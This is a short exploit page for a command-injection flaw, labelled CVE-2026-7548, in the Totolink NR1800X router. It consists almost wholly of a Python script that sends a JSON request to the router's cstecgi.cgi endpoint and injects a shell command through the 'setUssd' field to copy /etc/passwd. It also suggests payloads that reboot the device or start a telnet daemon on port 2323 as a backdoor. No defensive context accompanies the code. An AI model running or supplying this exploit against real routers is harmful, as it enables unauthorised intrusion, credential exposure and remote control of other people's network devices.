CVE-2026-7548 Totolink NR1800X命令注入漏洞

import requests # Target URL target_url = "http://<target_ip>/cgi-bin/cstecgi.cgi" # Vulnerable payload: command injection via setUssd # Example payload: `;reboot` or `;telnetd -p 2323` payload = { "function": "setUssd", "setUssd": ";cat /etc/passwd > /tmp/pwned" } # Headers might be required depending on the device configuration headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: # Sending POST request to the vulnerable endpoint response = requests.post(target_url, json=payload, headers=headers, timeout=5) # Check if the request was sent (vulnerable devices might not return clear error) if response.status_code == 200: print("[+] Payload sent successfully. Check if command executed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")